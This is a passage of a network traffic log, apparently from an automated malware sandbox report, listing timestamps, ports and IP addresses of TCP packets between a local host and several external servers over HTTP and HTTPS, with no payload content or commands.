Nov 18, 2024 19:04:25.414916039 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.415709972 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.415796995 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.415833950 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.426115990 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.426136971 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.426148891 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.426197052 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.471365929 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.481282949 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.481302977 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.481317043 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.481389046 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.483426094 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.483486891 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.483786106 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.532253027 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.574527979 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.574738026 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.574799061 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.575732946 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.575843096 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.575881958 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.583457947 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.583468914 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.583479881 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.583662033 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.626353979 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.627758026 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.627773046 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.627823114 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.631100893 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.631170988 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.671422958 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.671443939 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.671511889 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.719508886 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.719650984 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.719722033 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.719927073 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.719958067 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.720001936 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.726612091 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.726648092 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.726680994 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.726694107 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.766602039 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.774014950 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.774312019 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.774358034 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.774784088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.775054932 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.775100946 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.877171040 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.877187967 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.877199888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.877254009 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.877420902 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.877433062 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.877470016 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.881628990 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.881675005 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.881895065 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.883106947 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.883136034 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.883183956 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.922070026 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.922162056 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.922394037 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.969739914 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.145832062 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.145868063 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.145904064 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.145931959 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.146059990 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.146094084 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.146107912 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.146334887 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.146369934 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.146383047 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.146410942 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.146452904 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.146508932 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.146979094 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.147011995 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.147027969 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.147047997 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.147089958 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.147356033 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.147691965 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.147736073 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.152867079 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.152961016 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.153006077 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.173147917 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.173382998 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.173444033 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.174432993 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.174715996 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.174758911 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.234703064 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.234971046 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.235052109 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.418067932 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.418123960 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.418158054 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.418195009 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.418354988 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.418405056 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.418406010 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.418440104 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.418474913 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.418488026 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.418510914 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.418565989 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.418953896 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.418988943 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.419039011 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.428575993 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.428699017 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.428757906 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.506845951 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.507150888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.507210016 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.508302927 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.508578062 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.508631945 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.537949085 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.538134098 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.538206100 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.610929966 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.611032963 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.611084938 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.621505976 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.621539116 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.621587038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.621593952 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.672863960 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.728111982 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.728149891 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.728183985 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.728205919 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.734118938 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.734185934 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.735080004 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.735111952 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.735166073 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.740032911 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.740063906 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.740134001 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.875010014 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.875103951 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.875144005 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.875163078 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.875426054 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.875462055 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:26.875483036 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:26.922868013 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.101857901 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.101984978 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.101996899 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.102091074 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.102143049 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.102159023 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.102196932 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.102372885 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.102430105 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.102785110 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.102861881 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.102924109 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.103147030 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.103311062 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.103364944 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.206942081 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.207000017 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.207150936 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.207626104 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.208062887 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.208108902 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.220647097 CET	49978	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:27.220985889 CET	49981	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:27.228282928 CET	80	49981	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:27.228377104 CET	49981	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:27.228423119 CET	80	49978	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:27.228486061 CET	49978	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:27.228629112 CET	49981	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:27.234981060 CET	80	49981	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:27.288177967 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.288192987 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.288265944 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.339859009 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.339871883 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.339883089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.339948893 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.342983961 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.343065023 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.343975067 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.386639118 CET	49982	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:27.386689901 CET	443	49982	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:27.386851072 CET	49982	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:27.388439894 CET	49982	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:27.388473988 CET	443	49982	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:27.391664028 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.461303949 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.461395979 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.461406946 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.461462021 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.514520884 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.514599085 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.514610052 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.514642954 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.514678001 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.514689922 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.519298077 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.519351006 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.519367933 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.563463926 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.586028099 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.586627007 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.586683989 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.587228060 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.588746071 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.588807106 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.636665106 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.636791945 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.636805058 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.636967897 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.701915979 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.702114105 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.702172041 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.702205896 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.702346087 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.702393055 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.704241037 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.704701900 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.704766989 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.757196903 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.757247925 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.757286072 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.757313967 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.797878981 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.828221083 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.828258991 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.828378916 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.828826904 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.828983068 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.829046965 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.878757954 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.878809929 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.878848076 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.878875017 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.878901005 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.878953934 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.952382088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.952451944 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.952486038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.952548027 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.991175890 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.991210938 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.991245985 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:27.991354942 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:27.991395950 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.066080093 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.066114902 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.066206932 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.067199945 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.067305088 CET	443	49982	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:28.067509890 CET	49982	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:28.067662001 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.067724943 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.069473982 CET	49982	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:28.069482088 CET	443	49982	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:28.069749117 CET	443	49982	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:28.084300995 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.084673882 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.085202932 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.086082935 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.086112022 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.086211920 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.119010925 CET	49982	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:28.119051933 CET	49982	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:28.119164944 CET	443	49982	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:28.128933907 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.129129887 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.129189968 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.130290985 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.130480051 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.130532026 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.158643007 CET	80	49981	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:28.160609961 CET	49981	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:28.162378073 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:28.162626982 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:28.169786930 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:28.169825077 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:28.169857025 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:28.169959068 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:28.170062065 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:28.175833941 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:28.194699049 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.194814920 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.195108891 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.195693970 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.196034908 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.196604967 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.219779015 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.219813108 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.220015049 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.220751047 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.220818043 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.220877886 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.248565912 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.249063015 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.249186993 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.249473095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.250142097 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.250206947 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.250525951 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.250627041 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.250679970 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.317254066 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.317408085 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.317655087 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.317924023 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.318130970 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.318197012 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.342884064 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.342920065 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.342953920 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.343017101 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.384937048 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.384973049 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.385005951 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.385150909 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.385150909 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.419383049 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.419569016 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.419697046 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.440907955 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.440948009 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.441623926 CET	80	49979	62.76.234.151	192.168.2.5
